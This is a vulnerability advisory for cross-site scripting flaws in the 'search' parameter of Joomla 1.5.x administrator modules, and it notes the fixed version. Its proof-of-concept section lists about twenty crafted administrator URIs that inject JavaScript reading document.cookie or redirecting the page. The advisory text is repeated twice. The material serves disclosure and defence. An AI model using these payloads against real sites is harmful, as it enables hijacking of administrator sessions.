Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
BID:40444
Info
Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 40444 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-1649 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Riyaz Ahemed |
| Vulnerable: |
Joomla Joomla 1.5.17 Joomla Joomla 1.5.16 Joomla Joomla 1.5.15 Joomla Joomla 1.5.14 Joomla Joomla 1.5.13 Joomla Joomla 1.5.12 Joomla Joomla 1.5.11 Joomla Joomla 1.5.10 Joomla Joomla 1.5.9 Joomla Joomla 1.5.8 Joomla Joomla 1.5.7 Joomla Joomla 1.5.6 Joomla Joomla 1.5.5 Joomla Joomla 1.5.4 Joomla Joomla 1.5.3 Joomla Joomla 1.5.2 Joomla Joomla 1.5.1 Joomla Joomla 1.5 |
| Not Vulnerable: |
Joomla Joomla 1.5.18 |
Discussion
Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
The issue affects Joomla! versions prior to 1.5.18.
Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
The issue affects Joomla! versions prior to 1.5.18.
Exploit / POC
Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:window.location.assign%28%27http://www.example.com%27%29%22%3E
http://www.example.com/administrator/index.php?option=com_trash&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_content&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_sections&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_frontpage&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_menus&task=view&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_messages&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_banners&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_banners&c=client&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_banner&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_contact&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_contact_details&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_poll&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_modules&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
An attacker can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:window.location.assign%28%27http://www.example.com%27%29%22%3E
http://www.example.com/administrator/index.php?option=com_trash&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_content&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_sections&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_frontpage&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_menus&task=view&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_messages&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_banners&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_banners&c=client&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_banner&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_contact&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_contact_details&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_poll&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_categories&section=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_modules&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://www.example.com/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
Solution / Fix
Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released an update to address these issues. Please see the references for more information.
Solution:
The vendor has released an update to address these issues. Please see the references for more information.
References
Joomla! Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
References:
References:
- Joomla! Homepage (Joomla )
- [20100501] - Core - XSS Vulnerabilities in Back End (Joomla!)